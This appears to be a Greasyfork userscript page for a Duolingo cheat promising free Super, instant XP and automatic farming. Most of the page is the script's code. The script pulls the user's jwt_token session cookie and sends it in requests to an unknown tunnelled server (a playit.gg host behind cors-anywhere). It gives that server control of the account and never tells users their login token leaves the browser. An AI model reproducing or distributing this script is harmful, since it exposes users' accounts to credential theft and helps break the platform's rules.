DISCONTINUED DUOLINGO CHEAT

Free super duolingo, instant XP, 24/7 cloud-based automatic XP farming where you can close your duolingo tab and it will continue farming for you.

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         DISCONTINUED DUOLINGO CHEAT 
// @namespace    http://tampermonkey.net/
// @version      v2
// @description  Free super duolingo, instant XP, 24/7 cloud-based automatic XP farming where you can close your duolingo tab and it will continue farming for you.
// @author       You
// @match        *://*.duolingo.com/*
// @match        *://*.duolingo.cn/*
// @license      MIT
// @icon         https://www.google.com/s2/favicons?sz=64&domain=duolingo.com
// @grant        none
// @run-at       document-start
// ==/UserScript==

// IT IS RECOMMENDED TO RUN THIS SCRIPT ON AN ALT BECAUSE IT MIGHT GET YOU BANNED. RUN IT ON YOUR MAIN ACCOUNT AT YOUR OWN RISK!

const server = 'https://cors-anywhere.com/http://major-buyers.gl.at.ply.gg:5603/'; // i'm using cors anywhere to fix SSL errors, not CORS errors, because you can only get a self-signed certificate with playit, not one provided by a valid certificate authority.



if (location.pathname === '/errors/duoexpress') {
    document.title = '💎 DUOLINGO EXPRESS 💎';
    const jwt = document.cookie.split('jwt_token=')[1].split(';')[0];

    const style = `
    @import url('https://fonts.googleapis.com/css2?family=Averia+Sans+Libre:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&display=swap');

    :root {
        --palette-primary: #11001C;
        --palette-secondary: #1A0129;
        --palette-tertiary: #220135;
        --palette-quaternary: #6A328B; /* i had to look up the word quaternary */
    }

    * {
        font-family: 'Averia Sans Libre', 'Arial', sans-serif !important;
        color: var(--palette-quaternary) !important;
    }

    body {
        background: var(--palette-primary) !important;
    }

    .primary-heading {
        text-align: center !important;
        margin: 50px !important;
        margin-bottom: 10px !important;
        font-size: 55px !important;
    }

    .primary-subheading {
        text-align: center !important;
        margin: 0px !important;
        opacity: 50% !important;
    }

    h2, h3, p, a {
        margin-left: 10px !important;
    }

    button, input {
        font-size: 25px !important;
        padding: 15px !important;
        border-radius: 50px !important;
        border: none !important;
        margin: 10px !important;
        background-color: var(--palette-tertiary) !important;
        transition: 1s !important;
    }

    button {
        cursor: pointer !important;
    }

    input:hover {
        border: 2px solid var(--palette-quaternary) !important;
    }

    button:hover {
        transform: translateY(-10px) !important;
    }

    button:active {
        border: 1px solid var(--palette-quaternary) !important;
        padding: 14px !important;
        transition: 0s !important;
    }

    p, b {
        font-family: 'Arial', sans-serif !important;
    }
    `

    const styleElement = document.createElement('style');
    styleElement.innerHTML = style;
    document.getElementsByTagName('head')[0].appendChild(styleElement);

    document.body.innerHTML = `
        <h1 class="primary-heading">Duolingo Express</h1>
        <h3 class="primary-subheading">⚝ THE BEST FREE PUBLIC DUOLINGO CHEAT ⚝</h3>

        <div id="controls">
            <br><br>
            <h2>24/7 Auto Farming</h2>
            <p>Farm AFK 24/7 and gain <b>billions</b> of XP! Just click "start farming" and let us do the rest; close your computer and go to sleep, and this will continue farming for you!</p>
            <h3>XP FARM IS FOR THE ENGLISH COURSE ONLY! IF YOU AREN'T LEARNING ENGLISH, ADD A NEW ENGLISH COURSE!</h3>
            <button id="startXpFarm">START FARMING XP (510XP per second)</button><br>
            <button id="startGemFarm">START FARMING GEMS (30 gems per second)</button>
            <h3>Streak farming is not an option on this script. If you want to farm streaks, use another script in combination with this. (you can find userscripts on GreasyFork)</h3>

            <br><h2>Instant Super/XP Earner</h2>
            <p>Gain thousands of XP as well as a free 3 day super Duolingo preview in the click of a button!</p>
            <p>Note: the free 3 day super Duolingo preview requires you to have a certain number of days streak, and it might not work if you've claimed it many times before.</p>
            <p>Note: the instant XP earner might not work at the beginning or end of leagues (Sunday and Monday).</p>
            <h3>YOU CAN ONLY CLAIM 1 SUPER PER DAY AND 30,000 XP EVERY 4 HOURS!</h3>

            <input placeholder="Amount of XP..." id="amountOfXp" maxlength="10">
            <button id="getXp">GET >></button><br>
            <input style="opacity: 0%"> <!-- invisible input so that the get super for free button is in line with the get XP button -->
            <button id="getSuper">GET SUPER FREE >> </button>

            <br><h2>Social media</h2>
            <a href="https://discord.gg/YGm8UHSJ3D" target="_blank">Join the DuoExpress Discord</a><br>
            <a href="https://greasyfork.org/en/users/1538106-freepentests-on-soundcloud" target="_blank">Check out our Greasyfork</a>
            <br><br>
        </div>
    `;

    const updateFarmingStatuses = async () => {
        const farmingStatus = await fetch(server + '/getFarmingStatuses?jwt=' + jwt);
        const farmingStatusJson = await farmingStatus.json();
        let xpAction = 'start';
        let gemAction = 'start';

        if (farmingStatusJson.xp) {
            document.getElementById('startXpFarm').innerText = 'STOP FARMING XP (510XP per second)';
            xpAction = 'stop';
        } else {
            document.getElementById('startXpFarm').innerText = 'START FARMING XP (510XP per second)';
            xpAction = 'start';
        };

        if (farmingStatusJson.gems) {
            document.getElementById('startGemFarm').innerText = 'STOP FARMING GEMS (30 gems per second)';
            gemAction = 'stop';
        } else {
            document.getElementById('startGemFarm').innerText = 'START FARMING GEMS (30 gems per second)';
            gemAction = 'start';
        };

        return {
            xp: xpAction,
            gems: gemAction
        }
    };

    (async () => {
        let actions = await updateFarmingStatuses();

        document.getElementById('startXpFarm').addEventListener('click', async () => {
            await fetch(server + '/farm/xp', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'action' : actions.xp, 'jwt' : jwt})
            });
            actions = await updateFarmingStatuses();
        });

        document.getElementById('startGemFarm').addEventListener('click', async () => {
            await fetch(server + '/farm/gems', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'action' : actions.gems, 'jwt' : jwt})
            });
            actions = await updateFarmingStatuses();
        });

        document.getElementById('getSuper').addEventListener('click', async () => {
            const resp = await fetch(server + '/instant/super', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'jwt' : jwt})
            });

            alert(await resp.text());
        });

        document.getElementById('getXp').addEventListener('click', async () => {
            const amountOfXp = document.getElementById('amountOfXp').value;

            const resp = await fetch(server + '/instant/xp', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'amount' : amountOfXp, 'jwt' : jwt})
            });

            alert(await resp.text());
        });
    })();
} else {
    const initButton = () => {
        const alreadyExist = document.getElementsByClassName('duoexpress').length >= 1;
        if (!alreadyExist) {
            const html = '<a href="/errors/duoexpress" target="_blank"><button style="font-size: 20px; padding: 15px; background-color: #101010; color: #FFFFFF; border-radius: 50px; cursor: pointer;">Click to Open Duolingo Express Cheat Dashboard</button></a>';
            const container = document.createElement('div');
            container.classList.add('duoexpress')
            container.style = 'position: fixed; bottom: 0; left: 0; z-index: 9999;'
            container.innerHTML = html;
            document.body.appendChild(container);
        };
    };

    window.onload = initButton;
    setInterval(initButton, 1000);
};